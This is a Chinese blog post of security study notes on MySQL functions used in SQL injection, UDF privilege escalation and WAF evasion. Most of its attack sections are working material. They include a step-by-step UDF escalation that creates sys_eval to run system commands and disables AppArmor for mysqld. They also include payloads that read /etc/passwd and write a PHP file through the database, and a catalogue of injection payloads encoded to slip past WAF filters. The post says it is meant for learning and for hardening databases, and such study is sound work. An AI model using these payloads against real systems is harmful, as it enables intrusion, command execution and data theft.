数据库udf提权,WAF绕过

3 篇文章 0 订阅
2 篇文章 0 订阅

数据库udf提权,WAF绕过

1、数据库自带函数的功能与用法

数据库功能函数
udf提权

系统函数

函数名说明
version()系统版本
user() ||CURRENT_USER()数据库用户名
database()数据库名
@@datadir数据库路径
@@version_compile_os操作系统版本
select version() as 系统函数,user() as 数据库用户名,database() as 数据库   名 ,@@datadir as 数据库路径, @@version_compile_os as 操作系统版本;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W2HBmS9D-1601642296451)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002160849680.png)]

字符串的编码转换

函数名说明
hex()字符串转换为16进制
unhex()16进制转换为字符串
to_base64()编码为base64字符串
from_base64()按base64解码字符串
ord()返回字符串 s 的第一个字符的 ASCII 码。
ascii()返回字符串 s 的第一个字符的 ASCII 码。
char()按ascii解码字符串
CONVERT(s USING cs)函数将字符串 s 的字符集变成 cs,如utf-8 转 gbk

字符的编码转换一般是在绕过 WAF中起作用。

select hex('a');
select unhex('61');

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4qClKLI4-1601642296454)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002161337365.png)]

select to_base64('b');
select from_base64(to_base64('b'));

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9YdltiZI-1601642296457)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002161804357.png)]

select ord('ca');#第一个字符
select char(99);

在这里插入图片描述

select ascii('da');
select char(100);
select ascii(substr(database(),1,1))=100;#二分法测试

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eY8rQdgG-1601642296461)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002162319719.png)]

select convert('ef' using gbk);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WG7axu17-1601642296463)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002162513224.png)]

select unhex(hex('a')) as q, char(ascii('b')) as w, from_base64(to_base64('c')) as e, convert('d' using gbk) as r, char(ord('e')) as t;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UllofZBD-1601642296464)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002162909906.png)]

字符串的连接

在Mysql中三个函数用于字符串的连接,同样一般用于WAF绕过

函数名说明
concat()字符串 s1,s2 等多个字符串合并为一个字符串
concat_ws(separator,str1,str2,….)功能与concat相仿,多了一个参数分割符separator,用于分割每个字符串
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’]))group_concat() 一般和group by一块使用
select concat('hello',' world') as A ,concat_ws(' ','hello','world') as B;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cli7KA1s-1601642296465)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002163223883.png)]

use test;#数据库
select group_concat(name) from student group by classfid;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Aygis5uf-1601642296466)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002163528217.png)]

字符串截取函数

字符串截取函数一般用于盲注里的条件判断,对表名或数据库名进行截取并枚举。

mysql中有三个字符串截取函数:

函数名说明
mid从字符串 s 的 n 位置截取长度为 len 的子字符串,同 SUBSTRING(s,n,len)
substring(s,start,length)从字符串 s 的 start 位置截取长度为 length 的子字符串
SUBSTRING_INDEX(s, delimiter, number)返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。 如果 number 是正数,返回第 number 个字符左边的字符串。 如果 number 是负数,返回第(number 的绝对值(从右边数))个字符右边的字符串。
left(s,n)返回字符串 s 的前 n 个字符
right(s,n)返回字符串 s 的后 n 个字符
select * from student wheren num='1' and substr('male',1,2)='ma';

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XISN9gKS-1601642296467)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002165023085.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H2Rm7nfq-1601642296468)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002165146311.png)]

select mid('abc',1,2);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OD8eDjA5-1601642296469)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002165332201.png)]

select left('abcqwert',5),right('abcqwert',5);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q6sCgGnG-1601642296471)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002165504177.png)]

有时为了更好的枚举爆破,可以先尝试获取字符串的长度。

函数名说明
char_length(s)返回字符串 s 的字符数
character_length(s)char_length()的同义词
length(s)char_length()的同义词
select * from student where num=1 and length(version())>8;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sEcvkFjk-1601642296472)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002165811881.png)]

其他常见函数

函数名说明
if(expr,v1,v2)如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
limitlimit m,n 返回从m行到n行的结果,用于限制返回结果的行数
load_file()读取文件中的数据
into_outfile()写入文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HE38F0pA-1601642296473)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002170552347.png)]

读取文件:
select load_file('/etc/passwd')
#使用十六进制绕过单引号限制
hex('/etc/passwd');
select load_file(0x2F6574632F706173737764);
写入文件:
select '<?php phpinfo();?>' into outfile '/tmp/xxx.php';

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yCPaEGca-1601642296473)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002192706569.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UQ44nXcI-1601642296474)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002192830795.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cVVwIiGN-1601642296475)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002192311551.png)]

2、udf提权

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,就像使用本地函数如 user() 一样。文件后缀.so,则为linux系统,后缀为.dll,为win系统。

在无web脚本执行权限,但是有mysql root执行的环境下,我们就可以通过into dumpfile函数导入udf.dll进行提权。有web脚本执行权限时,也可以直接上传udf提权脚本。

使用dumpfilesecure_file_priv设置为空,在mysql配置文件中修改。

1)收集信息

查看secure_file_priv

show variables like '%secure%';

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eQzPc0Ij-1601642296476)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002182539423.png)]

在配置文件中修改:当前为空,即可以在任意文件夹下导出文件

vim /etc/mysql/mysql.conf.d/mysqld.cnf
加入:secure_file_priv=""

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pUSlokBY-1601642296477)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002183624369.png)]

查看系统版本:

show variables like '%compile';

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vL4leOId-1601642296478)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002183808483.png)]

查看系统版本信息:mysql为5.7.31,系统为ubuntu16.04

select version();

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HyiHIneP-1601642296479)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002183917190.png)]

对于高于5.1版本的mysql,需要将udf文件 放置在插件目录下

show variables like '%plugin%';

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P3808twe-1601642296480)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002184055624.png)]

2)导入udf.so

在kali中找到udf文件,进入服务器/usr/lib/mysql/plugin/目录下,直接将udf文件拖入plugin目录下。

kali:/usr/share/metasploit-framework/data/exploits/mysql中下载udf文件,直接拖入目的文件夹。

或使用dumfile导入。

#将lib_mysqludf_sys.so传至/tmp/路径下,使用load_file()对其读取,并转换成十六进制文件后再写入/tmp/目录下:
select hex(load_file('/tmp/lib_mysqludf_sys.so')) into dumpfile '/tmp/udf.hex';
select 0x[udf.hex内容] into dumpfile '/usr/lib/plugin/udf.so';

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0uoWYvR2-1601642296480)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002185447136.png)]

3)安装udf

create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';
select * from mysql.func where name = 'sys_eval';

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MQeJMCO0-1601642296481)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002190013593.png)]

sys_eval:该函数将执行系统命令并在屏幕上通过标准输出显示。

sys_get:该函数使用’getenv’函数返回系统变量的值。

sys_exec:该函数将在“系统”函数内传递参数’args-> args [0]’。你可以使用它在目标机器上执行系统命令。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oIaieZHh-1601642296482)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002194711758.png)]

drop function sys_eval;

4)执行命令

select sys_eval('ls');

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kSrjcre6-1601642296483)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002191601269.png)]

问题:使用select sys_eval();执行命令返回NULL

取消Apparmor对mysqld service的限制

Apparmor是Linux内核和Ubuntu Linux安全模块。执行如下指令:

sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/
sudo apparmor_parser -R /etc/apparmor.d/usr.sbin.mysqld

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6XyIXINa-1601642296485)(C:\Users\华为\AppData\Roaming\Typora\typora-user-images\image-20201002191717137.png)]

成功执行命令提权。

3、变换字符串绕过WAF

注入绕过WAF

WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性。总结了注入绕过WAF的常见方法。

1. 各种编码绕过

绕WAF最常见的方法就是使用各种编码进行绕过,但编码能绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。

a) URL编码:

增加了过滤规则的代码:

img

代码中增加了特殊字符过滤,但在参数值进入数据库查询语句前多了一步解码操作:

$id= urldecode($id);

正常payload:

?id=1' and '1'='2

直接提交攻击语句,单引号被过滤,注入语句未成功插入。绕过payload:

?id= %31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32

b) 二次URL编码

增加了过滤规则的代码:

img

代码中在特殊字符过滤前又多增加了一步解码操作,可使用二次URL编码进行绕过。

正常payload:

?id=1'and '1'='2    ?id=%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32

使用一次URL编码绕过后,由于在过滤前会进行一次解码操作,所以单引号还是被过滤掉,注入语句未成功插入。绕过payload:

?id=%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32

c) 其他编码

除了使用URL编码外,还可以使用其他的编码方式进行绕过尝试,例如Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似,此处不再重复。

2. 字母大小写转换绕过

部分WAF只过滤全大写(SLEEP)或者全小写(sleep)的敏感字符,未对sleeP/slEEp进行过滤,可对关键字进行大小写转换进行绕过。

增加了过滤规则的代码:

img

正常payload:

?id=1' and sleep(3) and '1'='1    ?id=1' and SLEEP(3) and '1'='1

img

img

绕过payload:

?id=1' and sleeP(3) and '1'='1    ?id=1' and slEeP(3) and '1'='1

3. 空格过滤绕过

增加了过滤规则的代码:

img

部分WAF会对空格过滤,可使用空白符或者‘+’号替换空格进行绕过。

a) 使用空白符替换空格绕过

数据库类型允许的空白符
SQLite30A,0D,0C,09,20
MySQL509,0A,0B,0C,0D,A0,20
PosgresSQL0A,0D,0C,09,20
Oracle11g00,0A,0D,0C,09,20
MSSQL01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

正常payload:

?id=1'and sleep(3) and '1'='1

空格被过滤,注入语句未成功插入。绕过payload:

?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1

b) 使用‘+’替换空格绕过

绕过payload:

?id=1'+and+sleep(3)+and+'1'='1 

c) 使用注释符/**/替换空格绕过

绕过payload:

 ?id=1'/**/and/**/sleep(3)/**/and/**/'1'='1

4. 双字节绕过

部分WAF会对关键字只进行一次过滤处理,可使用双字节绕过。增加了过滤规则的代码:

img

正常payload:

?id=1and SLeeP(3) and 1=1

由于使用了strtolower()函数,所以无法使用大小写转换进行绕过,注入语句未成功插入。绕过payload:

?id=1+and+SLesleepeP(3)+and+1=1 

WAF只对关键字sleep进行一次过滤,可使用SLEsleepEP,进行一次过滤后成为sleep,可绕过WAF,注入语句成功写入。

5. 内联注释绕过

在MySQL里,/**/是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/后头加了惊叹号(/!50001sleep(3)*/),那么此注释里的语句将被执行。

增加了过滤规则的代码:

正常payload:

?id=1+and+sleep(3)+and+1=2

绕过payload:

?id=1+and+/*!50001sleep(3)*/+and+1=1

6. 请求方式差异规则松懈性绕过

有些WAF同时接收GET方法和POST的方法,但只在GET方法中增加了过滤规则,可通过发送POST方法进行绕过。

增加了过滤规则的代码:

img

正常payload:

GET /xxx/?id=1+and+sleep(4) 

绕过payload:

POST /xxx/     id=1+and+sleep(4)

发送POST请求,绕过过滤规则,注入语句成功写入。

7. 异常Method绕过

有些WAF只检测GET,POST方法,可通过使用异常方法进行绕过。

增加了过滤规则的代码:

img

正常payload:

 GET/xxx/?id=1+and+sleep(3) HTTP/1.1

绕过payload:

DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1

8. 超大数据包绕过

部分WAF只检测固定大小的内容,可通过添加无用字符进行绕过检测

增加了过滤规则的代码:

img

正常payload:

?id=1+and+sleep(3) 
 ?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

添加无用字符,使内容大小超过WAF检测能检测到的最大内容。

9. 复参数绕过

在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2),部分WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。

正常payload:

?id=1+and+sleep(3) 

绕过payload:

?id=1&id=2+and+sleep(3) 

将攻击语句赋予最后一个id参数,可绕过WAF检测直接进入后端服务器。

10. 添加%绕过过滤

将WAF中过滤的敏感字符通过添加%绕过过滤。

例如:WAF过滤了select ,可通过se%lect绕过过滤,在进入后端执行中对参数串进行url解码时,会直接过滤掉%字符,从而注入语句被执行。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤%字符。

正常payload:

?id=1 union select 1, 2, 3 from admin    ?id=1union select 1, 2, 3 from admin

绕过payload:

?id=1 union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin    ?id=1union s%e%lect 1, 2, 3 from admin

11. 协议未覆盖绕过

以下四种常见的content-type类型:

​ Content-Type:multipart/form-data;

​ Content-Type:application/x-www-form-urlencoded

​ Content-Type: text/xml

​ Content-Type: application/json

部分WAF可能只对一种content-type类型增加了检测规则,可以尝试互相替换尝试去绕过WAF过滤机制。

例如使用multipart/form-data进行绕过。

12. 宽字节绕过

宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。

正常payload:

?id=1'and 1=1--+ 

绕过payload:

?id=1%df%27and 1=1--+

%df%27经过转义后会变成%df%5C%27,%df%5c会被识别为一个新的字节,而%27则被当做单引号,成功实现了语句闭合。

13. %00截断

部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。

正常payload:

?a=1&id=1and sleep(3) 

绕过payload:

 ?a=1%00.&id=1and sleep(3)

14. Cookie/X-Forwarded-For注入绕过

部分WAF可能只对GET,POST提交的参数进行过滤,未对Cookie或者X-Forwarded-For进行检测,可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。

正常payload:

GET /index.aspx?id=1+and+1=1 HTTP/1.1
Host: 192.168.61.175
...........

Cookie: TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28;

绕过payload:

GET /index.aspx HTTP/1.1
Host: 192.168.61.175
...........

Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;

X-Forwarded-For:127.0.0.1’;WAITFOR DELAY’0:0:5’–

15. 利用pipline绕过

当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。

利用pipline进行绕过:首先关闭burp的Repeater的Content-Length自动更新

修改Connection字段值为keep-alive,将带有攻击语句的数据请求附加到正常请求后面再发送一遍。

16. 利用分块编码传输绕过

分块传输编码是HTTP的一种数据传输机制,允许将消息体分成若干块进行发送。当数据请求包中header信息存在Transfer-Encoding: chunked,就代表这个消息体采用了分块编码传输。

具体解释

在 sql 注入时为了应对各种限制措施,利用数据库自带的一些系统函数经过各种变换之后可以绕过一些安全设备或者一些基础防御的措施,比如一些字符串转换的函数、截取字符串长度的函数等,参考学习:

> https://www.runoob.com/mysql/mysql-functions.html

应用的场景包括:通过注入获取数据、变换字符串绕过 WAF、盲注猜解字符数据等

我们经常在注入时候想要利用数据库来执行系统命令,不同的数据库可能使用不不同的方式,比如 Mysql 的 udf、Mssql 的 xp_cmdshell 等,这个在利用注入提权的时候非常有帮助,通过数据库执行系统命令所拥有的权限跟数据库的安装过程是有关系的,所以搞清楚这个关系也很重要,这样我们在安装配置数据库的时候可以尽量避免权限过高,造成安全隐患。

除了学习这些基础基础知识外,自己可以动手构造一些可以利用数据库执行命令的场景然后进行测试,完全理解这个提权的过程。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值